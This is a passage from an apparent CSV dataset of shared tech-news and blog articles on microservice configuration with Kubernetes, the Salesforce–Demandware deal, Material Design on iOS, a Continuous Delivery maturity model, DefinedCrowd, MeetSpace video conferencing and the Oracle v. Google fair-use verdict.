Wilk for the image above. What about configuration? Netflix Archaius was written to handle distributed configuration management of services in the cloud. To do this, just like with Eureka and Ribbon, you set up a configuration server and use a Java library to lookup configuration values. It also supports dynamic configuration changes, etc (remember, Netflix built this for AWS.. and they're netflix; as part of their CI/CD pipeline they would build AMIs and deploy those. Building AMIs or any VM images can be time consuming and have lots of unnecessary overhead for most cases... with Docker/linux containers, things are a bit more nimble as I'll explain in a sec from a configuration perspective). What about the 95% use case again? We want to have our environment-specific configurations (this is an important distinction... not ""every"" config is an environment-specific configuration that needs to change depending on the environment we're running) stored outside of our applications and inject them in based on the environment (DEV, QA, PROD, etc) in which we're running. But we really would like to have a language-agnostic way to look up the configuration and not force everyone to use Java and/or complicate their classpaths with additional Java libraries for configuration. In Kubernetes we have three constructs for injecting environment-based configuration. Basically we can inject configuration data to the linux containers via environment variables (which Java, NodeJS, Go, ruby, python, etc can easily read) which most languages can read. We may store our configuration in git (this is a good idea) and we could bind the configuration repo directly to our pod (as files on the file system) that can then be consumed using whatever framework facility there is for consuming application config files. Lastly, we can decouple the git repo a bit by using Kubernetes ConfigMaps to store our versioned configuration into a ConfigMap which then gets mounted as a file system into the pod. Again, you'd consume configuration files just the same way you'd consume any config file from the file-system in your respective language/framework. What about the 5% use case? In the 5% use case you may wish to dynamically change configuration at runtime. Kubernetes helps out with this. You can change configuration files within a ConfigMap and have those changes dynamically propogate to the pods that mount them. In this case, you'd need to have a client side library that's capable of detecting these configuration changes and exposing them to your application. Netflix Archais has a client that can do this. Spring Cloud Kubernetes for Java makes this even easier to do within Kubernetes (using ConfigMaps). So what about Spring Cloud? Java folks developing microservices using Spring often equate Spring Cloud with Netflix OSS since a lot of it is based on Netflix OSS. The fabrjc8.io community also has lots of goodies from running Spring Cloud on Kubernetes. Please check out the for more. A lot of these patterns (including configuration, tracing, etc) can run great on Kubernetes without additional, complex, infrastructure (like service-discovery engines, config engines, etc). Summary If you're looking at building microservices and you've gravitated toward Netflix OSS/Java/Spring/Spring Cloud, be aware that you're not Netflix, you don't need to use AWS EC2 primitives directly and complicate your applications by doing so. If you're looking to use Docker, adopting Kubernetes is a wise choice and comes with lots of these ""distributed-systems features"" out of the box. Layering the appropriate application-level libraries where needed and avoiding over complicating your services from the beginning just because Netflix came up with this approach 5 years ago (because they had to! bet if they had Kubernetes 5 years ago, their Netflix OSS stack would look quite a bit different :) ) is a wise choice :)",en
1464960287,CONTENT SHARED,-5017021199558167721,692689608292948411,5767781499206605731,,,,HTML,http://buytaert.net/demandware-acquisition-heats-up-customer-experience-market,Dries Buytaert,"The battle for the marketing cloud just got way more interesting. This week, Salesforce announced its acquisition of Demandware for $2.8B in cash. It will enable Salesforce to offer a ""Commerce Cloud"" alongside its sales and marketing solutions. The large platform companies like Oracle and Adobe are trying to own the digital customer experience market from top to bottom by acquiring and integrating together tools for marketing, commerce, customer support, analytics, mobile apps, and more. Oracle's acquisition of Eloqua, SAP's acquisition of hybris and Salesforce's acquisitions of ExactTarget were earlier indicators of market players consolidating SaaS apps for customer experience onto their platforms. In my view, the Demandware acquisition is an interesting strategic move for Salesforce that aligns them more closely as a competitor to marketing stack mega-vendors such as Adobe, Oracle and IBM. Adding a commerce solution to its suite, makes it easier for Salesforce's customers to build an integrated experience and see what their customers are buying. There are advantages to integrated solutions that have a single system of record about the customer. The Demandware acquisition also makes sense from a technology point of view; there just aren't many Java-based commerce platforms that are purely SaaS-based, that can operate at scale, and that are for sale. However, we've also seen this movie before. When big companies acquire smaller, innovative companies, over time the innovation goes away in favor of integration. Big companies can't innovate fast enough, and the suite lock-in only benefits the vendor. There is a really strong case to be made for a best-of-breed approach where you choose and integrate the best software from different vendors. This is a market that literally changes too much and too fast for any organization to buy into a single mega-platform. From my experience talking to hundreds of customer organizations, most prefer an open platform that integrates different solutions and acts as an orchestration hub. An open platform ultimately presents more freedom for customers to build the exact experiences they want. Open Source solutions, like Drupal, that have thousands of integrations, allow organizations to build these experiences in less time, with a lower overall total cost of ownership, more flexibility and faster innovation. Adobe clearly missed out on buying Demandware, after it missed out on buying Hybris years ago. Demandware would have fit in Adobe's strategy and technology stack. Now Adobe might be the only mega-platform that doesn't have an embedded commerce capability. More interestingly, there don't appear to be large independent commerce operators left to buy. I continue to believe there is a great opportunity for new independent commerce platforms, especially now Salesforce and Demandware will spend the next year or two figuring out the inevitable challenges of integrating their complex software solutions. I'd love to see more commerce platforms emerge, especially those with a modern micro-services based architecture, and an Open Source license and innovation model.",en
1464962240,CONTENT SHARED,-541666025693385823,-1032019229384696495,7836530673378398837,,,,HTML,http://thenextweb.com/apple/2016/05/29/google-material-desing-ios-complaints/,Calm down: Google's use of Material Design on iOS is fine,"A recent bit of commentary from Macworld posits that Google's use of Material Design on iOS is a mistake. Another site piled on , going so far as to call it ""dumb"" and ""rude."" The main takeaway is that design can be divisive, and is always subjective. Material Design is no different, but there needs to be a lot of chill on this one. I don't need to like it So, here's some personal insight: I fucking hate Material Design. I think it's too reliant on dumbed-down, wannabe 'clever' animations and feigned shadowing. It tries way too hard to look like it's not digital (Google's design lead Matias Duarte notes Material Design's creation had a lot of paper cut-outs at inception to help designers understand its 'real world' feel), but it is. Material Design wants to make you feel as though you're touching something tangible, but you're not. You. Are. Tapping. A. Screen. I don't care to have a button spin and slide away when I press it, and I don't need a clever spring-to-life page pop-up. So, no, I don't like Material Design. I hope that's very clear. Don't drink the 'haterade' I will, however, defend Google's right to use it as they please. Macworld points out that Google's widespread use of Material Design across platforms is akin to Microsoft in the 90's, and that's fair, but it didn't end there. Microsoft is still committed to its square design (which I'm also not fond of, and have now realized I'm some sort of design-snob wolf in developer's sheepish wool), but nobody seems concerned about that. Instead, we laud it for making its apps and services available across platforms. The convenient trope is 'if you don't like it, don't use it,' but Google is hard to avoid. I do for the most part, though; I use DuckDuckGo for search , and have eschewed just about all Google-y apps for iOS. There are many reasons for that, and design is definitely part of it. But many can't - or won't - move away from Google. That should tell us that while design is fundamentally important, it takes a backseat to experience, and Google does a great job there. I do think we should be celebrating diversity in design, even if we don't like it. The rare times I have to dig into my Google Drive folder (it's literally my lone holdout; damn you, cloud storage!), I'm reminded just how much i dislike Material Design. As for the narrative that Google is trying to give iOS users a 'sneak peak' of Android - that's just laughable. Design isn't likely to make anyone switch platforms. Gotta love the sensationalism, though. Be fair The opposite point can be made for Apple. Material Design was built with the Web in mind, so should the iCloud Web client use Material Design? Hell no. It's a slippery slope. If we're asking Google to adhere to Apple's design philosophy for native apps, are we also going to ask Fantastical to look and act more like Apple's (terrible) stock calendar? Should PCalc be more like Apple's (boring) calculator, or your favorite note-taking app more like - well, Notes? ( which is awesome , so yes?) The orginal argument makes Material Design about platforms, but it's not. Google designed it to be used anywhere and everywhere because it's 2016 and platforms aren't as important. The Android vs. iOS debate is tired, and we should stop entertaining it. I doubt Apple cares how many Apple Music users are on Android versus iOS; Google is also a company of services, not a single platform. the same is now true for Microsoft. There's something to be said for using platform-specific tools, but even that's a grey area. Unless Google did something like completely disable the share sheet on iOS, I don't see much harm. Material Design is a shitshow, but it's Google's shitshow. I don't have to stop and look (unless it's Drive; stupid easy-to-use cloud storage). I think a lot of what Apple does with design sucks too, and developers like to bitch and moan about how Apple makes it hard to paint outside the lines in Xcode. And shouldn't we be celebrating diversity on iOS, which has suffered through that type assimilation for a long time? We say 'damn Google for Material Design,' then complain about Apple making it difficult to stray too far from center when it comes to making apps. Maybe we should stop complaining so much on the internet (now that's laughable). Be fair, be objective, and chill out. Also, try Pages or iCloud Drive on iOS. Complaints about Material Design seems downright trite when you attempt to use Apple's services on mobile. At least Google nailed UX, even if its UI is terrible. Read next: Bring your surroundings to life with the futuristic Touch Board DIY Starter Kit",en
1464962305,CONTENT SHARED,2372438485070148864,3636910968448833585,-7707155044672153170,,,,HTML,https://www.infoq.com/articles/Continuous-Delivery-Maturity-Model,The Continuous Delivery Maturity Model,"The principles and methods of Continuous Delivery are rapidly gaining recognition as a successful strategy for true business agility. For many organizations the question is no longer ""why?"", but rather ""how?"" How do you start with Continuous Delivery, and how do you transform your organization to ensure sustainable results. This Maturity Model aims to give structure and understanding to some of the key aspects you need to consider when adopting Continuous Delivery in your organization. Why a maturity model? Continuous Delivery is all about seeing the big picture, to consider all aspects that affect the ability to develop and release your software. For any non-trivial business of reasonable size this will unfortunately include quite a lot of steps and activities. The end-to-end process of developing and releasing software is often long and cumbersome, it involves many people, departments and obstacles which can make the effort needed to implement Continuous Delivery seem overwhelming. Where do we start? Do we have to do everything, what parts can we leave out? Where do we get the biggest and quickest effect? These are questions that inevitably will come up when you start looking at implementing Continuous Delivery. This is why we created the Continuous Delivery Maturity Model, to give structure and understanding to the implementation of Continuous Delivery and its core components. Inspiration for this model comes mainly from our combined experiences in several continuous delivery implementation projects, and also from selected books, papers and blog-posts on the subject where Jez Humble & David Farley's groundbreaking book Continuous Delivery and Eric Minick & Jeffrey Fredricks terrific whitepaper Enterprise Continuous Delivery Model are two that deserve special recognition. With this model we aim to be broader, to extend the concept beyond automation and spotlight all the key aspects you need to consider for a successful Continuous Delivery implementation across the entire organization. A structured approach The journey that started with the Agile movement a decade ago is finally getting a strong foothold in the industry. Business leaders now have begun to embrace the fact that there is a new way of thinking about software development. A paradigm shift, if you like, that will inevitably segment the industry into those who struggle to keep up with competition, and those who have the ability to stay agile and ahead of competition by having an IT organization that responds quickly and efficiently, and serves as a true business enabler. IT can once again start pushing innovation instead of restraining it by expensive, slow, unpredictable and outdated processes. There are many ways to enter this new era and here we will describe a structured approach to attaining the best results. While agile methodologies often are described to best grow from inside the organization we have found that this approach also has limitations. Some parts of the organization are not mature enough to adapt and consequently inhibit development, creating organizational boundaries that can be very hard to break down. The best way to include the whole organization in the change is to establish a solid platform with some important prerequisites that will enable the organization to evolve in the right direction. This platform includes adopting specific tools, principles, methods and practices that we have organized into five key categories, Culture & Organization, Design & Architecture, Build & Deploy, Test & Versification and Information & Reporting. S tructuring Continuous Delivery implementation into these categories that follows a natural maturity progression will give you a solid base for a fast transformation with sustainable results. The purpose of the maturity model is to highlight these five essential categories, and to give you an understanding of how mature your company is. Your assessment will give you a good base when planning the implementation of Continuous Delivery and help you identify initial actions that will give you the best and quickest effect from your efforts. The model will indicate which practices are essential, which should be considered advanced or expert and what is required to move from one level to the next. Five levels The model defines five maturity levels: base, beginner, intermediate, advanced and expert. The model is calibrated with a typical industry average around the base level where we see most organizations are at today. Some organizations have beginner maturity in some categories and below base (outside the model) in others but on average base-level is the typical starting point for many organizations. The intermediate level is what we consider a mature level of continuous delivery practices where you benefit from the larger effects. The advanced level includes practices that will bring substantial value and effect to a higher effort. The last maturity level, expert, includes practices that will be very valuable for some organizations that want or need to specialize in certain practices. The levels are not strict and mandatory stages that needs to be passed in sequence, but rather should serve as a base for evaluation and planning. It is however important to try to keep the overall maturity level fairly even and to keep in mind that big changes may cause skepticism and reluctance in the organization, so an incremental approach to moving through the levels is recommended. Five categories The model also defines five categories that represent the key aspects to consider when implementing Continuous Delivery. Each category has it's own maturity progression but typically an organization will gradually mature over several categories rather than just one or two since they are connected and will affect each other to a certain extent. Culture & Organization The organization and it's culture are probably the most important aspects to consider when aiming to create a sustainable Continuous Delivery environment that takes advantage of all the resulting effects. Base A typical organization will have, at base level, started to prioritize work in backlogs, have some process defined which is rudimentarily documented and developers are practicing frequent commits into version control. Beginner Moving to beginner level, teams stabilize over projects and the organization has typically begun to remove boundaries by including test with development. Multiple backlogs are naturally consolidated into one per team and basic agile methods are adopted which gives stronger teams that share the pain when bad things happen. Intermediate At the intermediate level you will achieve more extended team collaboration when e.g. DBA, CM and Operations are beginning to be a part of the team or at least frequently consulted by the team. Multiple processes are consolidated and all changes, bugs, new features, emergency fixes, etc, follow the same path to production. Decisions are decentralized to the team and component ownership is defined which gives teams the ability to build in quality and to plan for sustainable product and process improvements. Advanced At the advanced level, the team will have the competence and confidence it needs to be responsible for changes all the way to production. Continuous improvement mechanisms are in place and e.g. a dedicated tools team is set up to serve other teams by improving tools and automation. At this level, releases of functionality can be disconnected from the actual deployment, which gives the projects a somewhat different role. A project can focus on producing requirements for one or multiple teams and when all or enough of those have been verified and deployed to production the project can plan and organize the actual release to users separately. This separation of concerns will optimize the projects flexibility of packaging and releasing functionality and at the same time give the development teams better flow and speed since they don't have to stack up changes and wait for coordinated project releases. Expert At expert level some organizations choose to make a bigger effort and form complete cross functional teams that can be completely autonomous. With extremely short cycle time and a mature delivery pipeline, such organizations have the confidence to adopt a strict roll-forward only strategy to production failures. Design & Architecture The design and architecture of your products and services will have an essential impact on your ability to adopt continuous delivery. If a system is built with continuous delivery principles and a rapid release mind set from the beginning, the journey will be much smoother. However, an upfront complete redesign of the entire system is not an attractive option for most organizations, which is why we have included this category in the maturity model. Base A typical organization will have one or more legacy systems of monolithic nature in terms of development, build and release. Many organizations at the base maturity level will have a diversified technology stack but have started to consolidate the choice of technology and platform, this is important to get best value from the effort spent on automation. Beginner At beginner level, the monolithic structure of the system is addressed by splitting the system into modules. Modules give a better structure for development, build and deployment but are typically not individually releasable like components. Doing this will also naturally drive an API managed approach to describe internal dependencies and also influence applying a structured approach to manage 3rd party libraries. At this level the importance of applying version control to database changes will also reveal itself. Intermediate Moving to intermediate level will result in a solid architectural base for continuous delivery when adopting branch by abstraction and other techniques for feature hiding for the purpose of minimizing repository branching to enable true continuous integration. At this level the work with modularization will evolve into identifying and breaking out modules into components that are self-contained and separately deployed. At this stage it will also be natural to start migrating scattered and ad-hoc managed application and runtime configuration into version control and treat it as part of the application just like any other code. Advanced At the advanced level you will have split the entire system into self contained components and adopted a strict api-based approach to inter-communication so that each component can be deployed and released individually. With a mature component based architecture, where every component is a self-contained releasable unit with business value, you can achieve small and frequent releases and extremely short release cycles. At this level it is easy for the business to experiment with rapid release of new features, monitor and verify expected business results; therefore techniques to push and graph business metrics from the application becomes important and natural part of the overall design and architecture. Expert At expert level, some organizations will evolve the component based architecture further and value the perfection of reducing as much shared infrastructure as possible by also treating infrastructure as code and tie it to application components. The result is a system that is totally reproducible from source control, from the O/S and all the way up to application. Doing this enables you to reduce a lot of complexity and cost in other tools and techniques for e.g. disaster recovery that serves to ensure that the production environment is reproducible. Instead of having a separate process, disaster recovery is simply done by pushing out the last release from the pipeline like any other release. This together with virtualization gives extreme flexibility in setting up test and production environments with minimum manual effort. Build & Deploy Build and deployment is of course core to Continuous Delivery and this is where a lot of tools and automation come into the pipeline; this is what is most is commonly perceived when Continuous Delivery is discussed. At first glance a typical mature delivery pipeline can be very overwhelming; depending on how mature the current build and deployment process is in the organization, the delivery pipeline can be more or less complex. In this category we will describe a logical maturity progression to give structure and understanding to the different parts and levels it includes. Base At a base level you will have a code base that is version controlled and scripted builds are run regularly on a dedicated build server. The deployment process is manual or semi-manual with some parts scripted and rudimentarily documented in some way. Beginner> Beginner level introduces frequent polling builds for faster feedback and build artifacts are archived for easier dependency management. Tagging and versioning of builds is structured but manual and the deployment process is gradually beginning to be more standardized with documentation, scripts and tools. Intermediate At intermediate level, builds are typically triggered from the source control system on each commit, tying a specific commit to a specific build. Tagging and versioning of builds is automated and the deployment process is standardized over all environments. Built artifacts or release packages are built only once and are designed to be able to be deployed in any environment. The standardized deployment process will also include a base for automated database deploys (migrations) of the bulk of database changes, and scripted runtime configuration changes. A basic delivery pipeline is in place covering all the stages from source control to production. Advanced At this stage it might also become necessary to scale out the build to multiple machines for parallel processing and for specific target environments. Techniques for zero downtime deploys can be important to include in the automated process to gain better flexibility and to reduce risk and cost when releasing. At this level you might also explore techniques to automate the trailing part of more complex database changes and database migrations to completely avoid manual routines for database updates. Expert Expert practices will include zero touch continuous deployment to production where every commit can potentially make it all the way to production automatically. Another expert practice is taking the infrastructure as code and virtualization even further and making the build process produce not only deployment artifacts but complete virtual machines which are promoted down the pipeline all the way to production replacing the existing ones. Test & Verification Testing is without doubt very important for any software development operation and is an absolutely crucial part of a successful implementation of Continuous Delivery. Similar to Build & Deploy, maturity in this category will involve tools and automation. However, it is also important to constantly increase the test-coverage of the application to build up the confidence in speed with frequent releases. Usually test involves verifying expected functionality according to requirements in different ways but we also want to emphasize the importance of verifying the expected business value of released features. Base At the base stage in the maturity model a development team or organization will typically practice unit-testing and have one or more dedicated test environments separate from local development machines. This system and integration level testing is typically done by a separate department that conducts long and cumbersome test periods after development ""code freeze"". Beginner When moving to beginner level you will naturally start to investigate ways of gradually automating the existing manual integration testing for faster feedback and more comprehensive regression tests. For accurate testing the component should be deployed and tested in a production like environment with all necessary dependencies. Intermediate Beginner level lets you broaden the scope of your automatic tests to functional testing which includes bigger parts of the component than unit tests but will have ""mocked"" implementations of it's external dependencies, e.g. database or other backend services. These tests are especially valuable when working in a highly component based architecture or when good complete integration tests are difficult to implement or too slow to run frequently. At this level you will most likely start to look at gradually automating parts of the acceptance testing. While integration tests are component specific, acceptance tests typically span over several components and across multiple systems. Advanced Advanced practices include fully automatic acceptance tests and maybe also generating structured acceptance criteria directly from requirements with e.g. specification by example and domains specific languages. This means no manual testing or verification is needed to pass acceptance but typically the process will still include some exploratory testing that feeds back into automated tests to constantly improve the test coverage and quality. If you correlate test coverage with change traceability you can start practicing risk based testing for better value of manual exploratory testing. At the advanced level some organizations might also start looking at automating performance tests and security scans. Expert It might seem strange to state that verifying expected business result is an expert practice but this is actually something that is very rarely done as a natural part of the development and release process today. Verifying expected business value of changes becomes more natural when the organization, culture and tooling has reached a certain maturity level and feedback of relevant business metrics is fast and accessible. As an example the implementation of a new feature must also include a way to verify the expected business result by making sure the relevant metrics can be pulled or pushed from the application. The definition of done must also be extended from release to sometime later when business has analyzed the effects of the released feature or change.. Information & Reporting Any business process includes a specific information set which can be reported on; the process of developing and releasing software is no exception, and the set of information that is handled in this particular area would typically include concepts like component, requirement, version, developer, release, environment etc. In this category we want to show the importance of handling this information correctly when adopting Continuous Delivery. Information must e.g. be concise, relevant and accessible at the right time to the right persons in order to obtain the full speed and flexibility possible with Continuous Delivery. Apart from information directly used to fulfill business requirements by developing and releasing features, it is also important to have access to information needed to measure the process itself and continuously improve it. Base At the base level in this category it is important to establish some baseline metric for the current process, so you can start to measure and track. At this level reporting is typically done manually and on-demand by individuals. Interesting metrics can e.g. be cycle-time, delivery time, number of releases, number of emergency fixes, number of incidents, number of features per release, bugs found during integration test etc. Beginner At beginner level, you start to measure the process and track the metrics for a better understanding of where improvement is needed and if the expected results from improvements are obtained. Reporting at this stage would typically include static analysis of code and quality reports which might be scheduled so that the latest reports are always accessible to facilitate decisions on quality and where improvements are needed. Intermediate Moving to intermediate the level of automation requires you to establish a common information model that standardizes the meaning of concepts and how they are connected. This model will typically give answers to questions like; what is a component?; how are requirements related to changes and components? When this model is established not only can you automate build, test and deployment even further but you can also build in traceability and information transparency to the pipeline and e.g. automatically generate information like release notes and test plans. Automatic reporting and feedback on events is implemented and at this level it will also become natural to store historical reports connected to e.g. builds or other events. This gives management crucial information to make good decisions on how to adjust the process and optimize for e.g. flow and capacity. Advanced At advanced level when you have started to practice frequent releases and the tools, products and services are mature enough to e.g. push business metrics, a natural progression is to set up a graphing service where people can get specific real time information that is relevant to their specific need. At this level real time graphs and other reports will typically also include trends over time. As a complement to static code analysis and unit tests coverage reports you might also at this level start looking at dynamic test coverage and profiling information from production like runtime environments when e.g. running automatic integrations tests. Expert Moving to expert level in this category typically includes improving the real time information service to provide dynamic self-service useful information and customized dashboards. As a result of this you can also start cross referencing and correlating reports and metrics across different organizational boundaries,. This information lets you broaden the perspective for continuous improvement and more easy verify expected business results from changes. Jump start the journey Every company is unique and has its own specific challenges when it comes to changing the way things work, like implementing Continuous Delivery. This maturity model will give you a starting point and a base for planning the transformation of the company towards Continuous Delivery. After evaluating your organization according to the model you need to set the goals and identify which practices will give your organization the best outcomes. If there are practices you do not want to adopt you need to analyse the consequences of excluding them. It is also important to decide on an implementation strategy, you can e.g. start small using slack in the existing process to improve one thing at a time. However, from our experience you will have a better chance of a successful implementation if you jump start the journey with a dedicated project with a clear mandate and aggressive goals on e.g. reducing cycle time. A typical Continuous Delivery implementation project will need skills and competence according to the categories and practices in the maturity model in order to implement a solid platform of tools, methods and practices that the organization can continue to grow and improve on. (Click on the image to enlarge it) About the authors Andreas Rehn is an Enterprise Architect and a strong advocate for Continuous Delivery, DevOps, Agile and Lean methods in systems development. With extensive experience in many disciplines of software development and a solid understanding of process, information and management theories and practises; he is dedicated to help customers implement Continuous Delivery and transform their business by adopting new methods for efficient and modern software development. Tobias Palmborg , Believes that Continuous Delivery describes the vision that scrum, XP and the agile manifesto once set out to be. Continuous Delivery is not just about automating the release pipeline but how to get your whole change flow, from grain to bread ,in a state of the art shape. Former Head of Development at one of europes largest online gaming company. Tobias is currently implementing Continuous Delivery projects at several customers. Patrik Boström is one of the founders of Diabol. Senior developer and architect with experience in operations of large system. Strong believer that Continuous Delivery and DevOps is the natural step in the evolution of Agile and Lean movement. Wants to change the way we look at systems development today, moving it to the next level where we focus more time on developing features than doing manually repetitive tasks. Where we visualize and understand the path from idea to where it is released and brings business value.",en
1464962577,CONTENT SHARED,-8706427875719844202,-1443636648652872475,-6631146006024713322,,,,HTML,http://techcrunch.com/2016/06/02/microsoft-accelerator-startup-definedcrowd-connects-machine-learning-with-native-speakers/,Microsoft Accelerator startup DefinedCrowd connects machine learning with native speakers,"Part of Microsoft Accelerator's batch 3 of startups, DefinedCrowd is filling a niche in the big data and machine learning community, providing near-real-time feeds of rich language data, checked by actual well-informed humans all over the world. The need comes from the Catch-22 that often arrests deep data analysis, in that you have to understand the data to analyze it, but you must analyze it to understand it. The vast landscape of the spoken and written word and its big data counterpart in natural language processing is especially troublesome in this way. ""In the artificial intelligence space, to develop virtual assistants like Cortana, or Apple's Siri and things like that, you need large amounts of voice recordings, you need transcriptions of those voices, you need intents and empathy labeling of those voices,"" said Daniela Braga, co-founder and chief scientist, in an interview with TechCrunch. ""The crowd input provides the extra refinement of the data that basically no machine can do."" DefinedCrowd sets up pipelines through which various kinds of language data are filtered, interpreted, and enriched, partly automatically and partly with a human touch. ""If you were to do a sentiment analysis learning model, and you want the machine to learn about a social media user making certain tweets - are they happy, or are they excited? The difference is very subtle,"" said Amy Du, co-founder and CEO. ""This is where the crowdsourcing technique comes in."" After the grammar is standardized - slang like ""u"" is replaced by ""you"" and emoji are stripped out, for instance - users are asked to score a phrase or sentence on, say a 5-point scale of neutral to happy, or curious to sarcastic. A few users score the same phrase and their inputs are synthesized, and that data goes on to the next step. Pipelines can have several steps and depending on how complex the data is, it can take a few days to get them in place - but once a workflow is established and native speakers chiming in regularly, the data can be turned around quickly enough for hourly updates. (Any network executive or social media manager can appreciate the occasional urgency of these things.) The natural objection, especially when users earn money for their work (more than an Mechanical Turk user, but think minimum wage, not get rich quick), is that someone is going to game this thing. DefinedCrowd takes a labor-intensive approach to managing their crowd. ""We partner with universities internationally,"" said Du. ""We usually start with the linguistics department, establishing a relationship with a local language ambassador, someone we can actually trust. And from there they can expand the network by bringing in additional students from the region. We know every single person that works behind the scenes."" Not as easy as taking all comers, but this has benefits as well. ""And we have that metadata. Think about virtual assistants, they need to have dialectal and gender and age balance for those agents,"" pointed out Braga. ""We're in 30 countries right now, moving to 50 in July; we have 50-100 people steady in each country."" Du worked in tech consulting for years, specializing in connecting major companies with crowdsourcing, and Braga started as a linguistics professor in Portugal and Spain, eventually working with Microsoft on NLP-related projects like Cortana. Their paths crossed in the Seattle area while working in an overlapping business space, and eventually just decided to throw in together. The company's time in the Microsoft Accelerator program has been helpful, the co-founders agreed (a representative from Microsoft was listening in, I should add) - as you might expect, Microsoft is a fairly well connected company, and the startup soon learned applications it might not have thought of on its own. And it doesn't hurt to get meetings with Fortune 500 companies from all over the world looking for a way to supercharge their big data efforts. DefinedCrowd showed their product publicly for the first time today at the Microsoft Accelerator demo day in downtown Seattle - along with seven other companies from the program's third batch.",en
1464962897,CONTENT SHARED,-2548446404469756145,3217014177234377440,-156074098731942761,,,,HTML,http://www.ilovefreesoftware.com/02/webware/free-business-video-conference-screen-sharing-permanent-room.html,"[Tools] Free Business Video Conference with Screen Sharing, Permanent Room","MeetSpace is a free business video conference service to have online meetings, casual video chat, and most importantly business video conference sessions. For video conferencing, all you need to do is create a team, a video conference room associated with the team, invite team members, and configure your webcam & ear piece, that's all. The rooms you create using this service are permanent rooms, which means no more sharing URLs or invitation emails each time you want to have a video conference with your colleagues. With just a click, every team member can enter the room to join the business conference. Similar to another video conference service called Zoom.us , this one comes with an additional feature of screen sharing. That means you can display your screen activities to all the team members directly while having a video conference. However, to use this feature you'll need to install the Chrome or Firefox extension of MeetSpace. Sponsored Links How to Create Permanent Rooms for Business Video Conference Sessions: Step 1: Go to the homepage of MeetSpace , and sign up to get started. After that, it will ask you to create a team by entering the team name. When you're done creating a team, you can proceed to create a permanent room associated with that particular team. Step 2: Enter the room name and hit enter or click the ""+"" button to create the room. Create as many rooms and teams as you want. All the rooms will be visible at the top of the screen with 2 different options named, ""Add + Remove"" and ""Settings"". From the Settings, you can change the room name, delete room, and unlock room. Unlocking room means you can share the room URL with others and they can use it to join without actually signing up to MeetSpace. Step 3: To invite your colleagues or friends into the room, click the ""Add + Remove"" option and enter their email id to send invitation URL. You can invite as many users as you want into a room. Once they join and when you're all set to start the business video conference, simply click on the room name to proceed. Step 4: As soon as you do that, it will open up the MeetSpace web application where you can have your business video conference on one single screen. You'll see a simple screen which will be split into separate parts for displaying each participant in the room, as shown below. For example, if you've 4 team members in a room, then the screen will split into 4 sections displaying each one of the members. Step 5: You can continue your business video conference for as long as you want. If you have got a decent Internet connection, then you can have your conference sessions seamlessly. It supports high-quality video and audio, but it also depends on upon your webcam and ear piece. Step 6: At the top-right corner of the screen, there will be options like Leave, Space, Settings, and Screen Sharing. If you want to leave the room, then you can do that by clicking the ""Leave"" option. But, if you want to stay connected and mute yourself, then the ""Space"" option will do it for you. You can configure you room's microphone, camera, and speaker from ""Settings"". Below, I am going to explain how you can use the screen share feature of MeetSpace. How to Share Screen with Team Members: Step 1: Before you start sharing your screen, you need to install the Chrome extension or Firefox add-on depending on your browser to be able to use the ""Screen Sharing"" feature. After that, you can simply click the ""Screen Sharing"" icon at the top of the video conference screen to enable screen sharing. Step 2: When you click the icon, a window popup will appear with all the windows that are currently open on your PC. You can choose any one of the windows that you want to share with all the participants in the room. Step 3: After choosing a window, click the share button at the bottom. As soon as you do that, whatever you'll do on that particular window will be visible to all your team members in real-time. For example, you have your browser open and you've selected it for screen sharing, then all your browser activities will be visible to others. Step 4: When you start sharing your screen, you will see a small bar at the bottom of your PC screen with a ""Stop Sharing"" button. Once you're done sharing, you can click this button to stop screen sharing and continue your conference. My Final Verdict: If you're looking for an easy to use free business video conference service with high-quality audio and video, then you should start using MeetSpace. Personally, after using it I think it is one of the best and simplest video conference services available. Unlike other heavy video conference software , you can start a video conference session without any hassle as all you got to do is create a room and invite others to it. It even allows you to share your screen while the conference is going on. Try ""MeetSpace"" from here . Free Business Video Conference with Screen Sharing, Permanent Room reviewed by Salman Khan on June 2, 2016",en
1464966720,CONTENT SHARED,-6558712014192834002,-1443636648652872475,-6631146006024713322,,,,HTML,http://arstechnica.com/tech-policy/2016/06/googles-fair-use-victory-is-good-for-open-source/,Google's fair use victory is good for open source,"Pamela Samuelson is a longtime professor of IP and cyberlaw at the University of California-Berkeley, and she also chairs the board of the Authors Alliance. Her views do not necessarily represent those of Ars Technica, and they've been republished here with her permission. Oracle and Google have been fighting for six years about whether Google infringed copyright by its use of 37 of the 166 packages that constitute the Java API in the Android software platform for smart phones. Last week, Google won a jury trial verdict that its reuse of the Java API elements was fair use. Let me first explain the main facts and claims in the lawsuit, and then why Google's fair use victory is a good thing not only for Google but also for open source developers, for software developers more generally, and for the public. Oracle claims to own intellectual property rights in the Java API because it bought the assets of the now-defunct Sun Microsystems, which first developed a set of Java technologies, including a complex API. Oracle asserts that the Java API packages, the classes within each package, and the specific declarations used to invoke executable code to perform particular functions are all protectable by copyright law and Google infringed by copying a substantial number of them. ( Math.max , for instance, is a declaration that invokes implementing code that compares two numbers and determines which is the larger.) Google has defended this lawsuit by arguing that the Java API and its component parts are unprotectable by copyright law, but even if (as the Court of Appeals for the Federal Circuit [CAFC] ruled two years ago) the API elements at stake are copyright-protected, its reuse of these elements was a fair and non-infringing use of the code. Annette Hurst, one of Oracle's lawyers, has recently argued that Google's victory will be harmful to open source developers. I have a great deal of respect for her as a lawyer, but this claim is not just greatly exaggerated-it's wrong. A fundamental and widely shared norm in the computing field for decades has been that an independent reimplementation of another firm's API in one's own code is a lawful and fair thing to do. Court decisions dating back to 1992, including the landmark Computer Associates v. Altai and Sega v. Accolade decisions, have backed up this industry norm by ruling that internal interfaces of computer programs are unprotectable by copyright law on account of their functionality. The CAFC misinterpreted those as well as other software copyright decisions in its 2014 ruling that the Java API elements that Google copied were protectable by copyright law. But the CAFC sent the case back to the trial court for a jury ruling on the fair use issue. The jury has now spoken loud and clear. So why is this a victory for the open source community as well as for Google? The main reason is because open source programs are often designed to interoperate with, either as complements or substitutes for, existing programs. To accomplish interoperation, open source developers must be able to reimplement existing program APIs in their own program code. Oracle's position in the Google case has been that any creativity in the development of an API suffices to provide the developer with copyright protection for it, and unauthorized use of the API in another program infringes. This position is 180 degrees different from the public positions that Sun Microsystems took for years, which endorsed-as Jonathan Schwartz, its former CEO testified at trial-free reuse of APIs in independently written code. An open source developer may, of course, create an API in the course of making its open source program. That developer can put the program code under a general public license (GPL) or other open source license. But the API of an open source program is and should be as free for reimplementation in another firm's independent code as it would be if embedded in a proprietary program. Some developers of APIs make them publicly available, as the Java API specification has been. Other developers maintain APIs as trade secrets and license the APIs to third party developers. Even public or semi-public APIs may be the subject of license negotiations, but there may be good reasons to license the API in order to get fuller cooperation and additional know-how from the developing firm's 